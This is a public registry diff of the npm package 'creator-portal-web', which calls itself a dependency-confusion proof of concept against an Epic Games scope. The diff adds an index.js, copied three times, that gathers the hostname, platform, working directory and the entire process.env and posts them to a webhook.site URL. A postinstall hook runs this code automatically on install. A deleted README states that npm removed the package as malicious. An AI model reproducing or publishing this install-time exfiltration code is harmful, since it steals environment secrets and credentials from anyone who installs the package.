creator-portal-web 0.0.1-security → 1.0.15595
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of creator-portal-web might be problematic. Click here for more details.
- package/index.js +29 -0
- package/package.json +13 -3
- package/simulate/creator-portal-web-1.0.15593.tgz +0 -0
- package/simulate/node_modules/.package-lock.json +13 -0
- package/simulate/node_modules/creator-portal-web/index.js +29 -0
- package/simulate/node_modules/creator-portal-web/package.json +12 -0
- package/simulate/package/index.js +29 -0
- package/simulate/package/package.json +12 -0
- package/simulate/package-lock.json +21 -0
- package/simulate/package.json +15 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,29 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
|
3
|
+
const data = JSON.stringify({
|
4
|
+
hostname: require('os').hostname(),
|
5
|
+
platform: process.platform,
|
6
|
+
cwd: process.cwd(),
|
7
|
+
env: process.env,
|
8
|
+
});
|
9
|
+
|
10
|
+
const options = {
|
11
|
+
hostname: 'webhook.site',
|
12
|
+
path: '/7cad56c4-b1df-4a73-9e6e-720a4b84512e',
|
13
|
+
method: 'POST',
|
14
|
+
headers: {
|
15
|
+
'Content-Type': 'application/json',
|
16
|
+
'Content-Length': data.length,
|
17
|
+
},
|
18
|
+
};
|
19
|
+
|
20
|
+
const req = https.request(options, (res) => {
|
21
|
+
console.log(`PoC data sent. Status: ${res.statusCode}`);
|
22
|
+
});
|
23
|
+
|
24
|
+
req.on('error', (error) => {
|
25
|
+
console.error(`PoC error: ${error}`);
|
26
|
+
});
|
27
|
+
|
28
|
+
req.write(data);
|
29
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,16 @@
|
|
1
1
|
{
|
2
2
|
"name": "creator-portal-web",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.15595",
|
4
|
+
"description": "Proof-of-Concept for dependency confusion in Epic Games scope",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"keywords": [
|
10
|
+
"epicgames",
|
11
|
+
"dependency-confusion",
|
12
|
+
"security-research"
|
13
|
+
],
|
14
|
+
"author": "NA_RONY",
|
15
|
+
"license": "MIT"
|
6
16
|
}
|
Binary file
|
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "simulate",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"lockfileVersion": 3,
|
5
|
+
"requires": true,
|
6
|
+
"packages": {
|
7
|
+
"node_modules/creator-portal-web": {
|
8
|
+
"version": "1.0.15593",
|
9
|
+
"resolved": "https://registry.npmjs.org/creator-portal-web/-/creator-portal-web-1.0.15593.tgz",
|
10
|
+
"integrity": "sha512-y4O/qAbaJcNyHVbR/ErVgfM3W47IQSK/wS6iYLoIEMHj/6bpxW0xbocg4659DbnfDfWcHweL0ONbmMlFefmkqw=="
|
11
|
+
}
|
12
|
+
}
|
13
|
+
}
|
@@ -0,0 +1,29 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
|
3
|
+
const data = JSON.stringify({
|
4
|
+
hostname: require('os').hostname(),
|
5
|
+
platform: process.platform,
|
6
|
+
cwd: process.cwd(),
|
7
|
+
env: process.env,
|
8
|
+
});
|
9
|
+
|
10
|
+
const options = {
|
11
|
+
hostname: 'webhook.site',
|
12
|
+
path: '/7cad56c4-b1df-4a73-9e6e-720a4b84512e',
|
13
|
+
method: 'POST',
|
14
|
+
headers: {
|
15
|
+
'Content-Type': 'application/json',
|
16
|
+
'Content-Length': data.length,
|
17
|
+
},
|
18
|
+
};
|
19
|
+
|
20
|
+
const req = https.request(options, (res) => {
|
21
|
+
console.log(`PoC data sent. Status: ${res.statusCode}`);
|
22
|
+
});
|
23
|
+
|
24
|
+
req.on('error', (error) => {
|
25
|
+
console.error(`PoC error: ${error}`);
|
26
|
+
});
|
27
|
+
|
28
|
+
req.write(data);
|
29
|
+
req.end();
|
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "creator-portal-web",
|
3
|
+
"version": "1.0.15593",
|
4
|
+
"description": "Proof-of-Concept for dependency confusion in Epic Games scope",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "node index.js"
|
8
|
+
},
|
9
|
+
"keywords": ["epicgames", "dependency-confusion", "security-research"],
|
10
|
+
"author": "NA_RONY",
|
11
|
+
"license": "MIT"
|
12
|
+
}
|
@@ -0,0 +1,29 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
|
3
|
+
const data = JSON.stringify({
|
4
|
+
hostname: require('os').hostname(),
|
5
|
+
platform: process.platform,
|
6
|
+
cwd: process.cwd(),
|
7
|
+
env: process.env,
|
8
|
+
});
|
9
|
+
|
10
|
+
const options = {
|
11
|
+
hostname: 'webhook.site',
|
12
|
+
path: '/7cad56c4-b1df-4a73-9e6e-720a4b84512e',
|
13
|
+
method: 'POST',
|
14
|
+
headers: {
|
15
|
+
'Content-Type': 'application/json',
|
16
|
+
'Content-Length': data.length,
|
17
|
+
},
|
18
|
+
};
|
19
|
+
|
20
|
+
const req = https.request(options, (res) => {
|
21
|
+
console.log(`PoC data sent. Status: ${res.statusCode}`);
|
22
|
+
});
|
23
|
+
|
24
|
+
req.on('error', (error) => {
|
25
|
+
console.error(`PoC error: ${error}`);
|
26
|
+
});
|
27
|
+
|
28
|
+
req.write(data);
|
29
|
+
req.end();
|
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "creator-portal-web",
|
3
|
+
"version": "1.0.15593",
|
4
|
+
"description": "Proof-of-Concept for dependency confusion in Epic Games scope",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "node index.js"
|
8
|
+
},
|
9
|
+
"keywords": ["epicgames", "dependency-confusion", "security-research"],
|
10
|
+
"author": "NA_RONY",
|
11
|
+
"license": "MIT"
|
12
|
+
}
|
@@ -0,0 +1,21 @@
|
|
1
|
+
{
|
2
|
+
"name": "simulate",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"lockfileVersion": 3,
|
5
|
+
"requires": true,
|
6
|
+
"packages": {
|
7
|
+
"": {
|
8
|
+
"name": "simulate",
|
9
|
+
"version": "1.0.0",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"creator-portal-web": "^1.0.15593"
|
13
|
+
}
|
14
|
+
},
|
15
|
+
"node_modules/creator-portal-web": {
|
16
|
+
"version": "1.0.15593",
|
17
|
+
"resolved": "https://registry.npmjs.org/creator-portal-web/-/creator-portal-web-1.0.15593.tgz",
|
18
|
+
"integrity": "sha512-y4O/qAbaJcNyHVbR/ErVgfM3W47IQSK/wS6iYLoIEMHj/6bpxW0xbocg4659DbnfDfWcHweL0ONbmMlFefmkqw=="
|
19
|
+
}
|
20
|
+
}
|
21
|
+
}
|
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "simulate",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"creator-portal-web": "^1.0.15593"
|
14
|
+
}
|
15
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=creator-portal-web for more information.
|